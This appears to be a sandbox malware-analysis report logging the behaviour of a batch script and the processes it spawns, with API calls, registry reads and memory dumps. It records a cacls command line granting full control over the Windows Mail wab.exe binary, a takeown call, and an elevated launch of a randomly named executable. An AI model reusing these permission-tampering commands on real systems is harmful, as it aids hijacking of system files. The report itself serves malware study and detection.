File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 44	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\takeown.exe, os_pid = 0xed0, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 179	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 14	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Set Environment String	name = FN, value = "wab.exe"	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 163	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 31	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 148	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = FN, result_out = "wab.exe"	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 32	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 52	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Process	Create	process_name = cmd.exe	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 44	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = mxkeFu6a.exe, type = file_attributes	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, os_pid = 0xef4, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000001	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 0	1	Fn
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 0	1	Fn
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn

Process #33: cmd.exe

58

0

»

Information	Value
ID	#33
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:17, Reason: Child Process
Unmonitor	End Time: 00:02:24, Reason: Self Terminated
Monitor Duration	00:00:06

OS Process Information

»

Information	Value
PID	0x13f4
Parent PID	0x1304 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 13F8 0x 13FC

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cmd.exe	0x00CD0000	0x00D28FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Threads

Thread 0x13f8

58

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 0, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = mxkeFu6a.exe, type = file_attributes	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, os_pid = 0xd04, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000001	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn

Process #34: cacls.exe

0

»

Information	Value
ID	#34
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Program Files\Windows Mail\wab.exe" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:17, Reason: Child Process
Unmonitor	End Time: 00:02:19, Reason: Self Terminated
Monitor Duration	00:00:01
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x4c8
Parent PID	0x13cc (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x EC8 0x 490

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #35: mxkefu6a.exe

177

0

»

Information	Value
ID	#35
File Name	c:\users\fd1hvy\desktop\mxkefu6a.exe
Command Line	mxkeFu6a.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:18, Reason: Child Process
Unmonitor	End Time: 00:02:23, Reason: Self Terminated
Monitor Duration	00:00:05

OS Process Information

»

Information	Value
PID	0xd04
Parent PID	0x13f4 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x F94 0x F90

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	Actions
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004080C0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040AE73	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040579A	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040B435	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00409AC9	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00406078	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040DEC6	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00410AB1	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00412434	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00416A09, 0x00415F2F, ...	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004048D4	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040C3C0, 0x004112CE	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004020F0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Process Termination	-	32-bit	-	... Region Actions Download Dump

Threads

Thread 0xf94

177

0

»

Category	Operation	Information	Count	Logfile
Module	Load	module_name = KERNEL32.DLL, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEvent, address_out = 0x75efec50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForSingleObject, address_out = 0x75efeca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeviceIoControl, address_out = 0x75ea1170	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DuplicateHandle, address_out = 0x75efeac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FormatMessageW, address_out = 0x75ea4be0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventW, address_out = 0x75efeb30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateProcessW, address_out = 0x75ea4610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExpandEnvironmentStringsW, address_out = 0x75ea4a40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDriveTypeW, address_out = 0x75efeed0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemDirectoryW, address_out = 0x75ea5490	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteFileW, address_out = 0x75efed40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadErrorMode, address_out = 0x75ea6520	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapSize, address_out = 0x77c0a790	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringW, address_out = 0x75ea5a60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStringTypeW, address_out = 0x75ea53b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateThread, address_out = 0x75ea6800	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OpenProcess, address_out = 0x75ea5cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetVersion, address_out = 0x75ea56c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateFileW, address_out = 0x75efed10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FindResourceW, address_out = 0x75ea4aa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SizeofResource, address_out = 0x75ea6740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseHandle, address_out = 0x75efeab0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetLastError, address_out = 0x75ea4f00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadResource, address_out = 0x75ea5b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLastError, address_out = 0x75ea5010	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcess, address_out = 0x75efea10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LockResource, address_out = 0x75ea5bc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCommandLineW, address_out = 0x75ea4cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleW, address_out = 0x75ea50d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryW, address_out = 0x75ea5ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStdHandle, address_out = 0x75ea5330	1	Fn
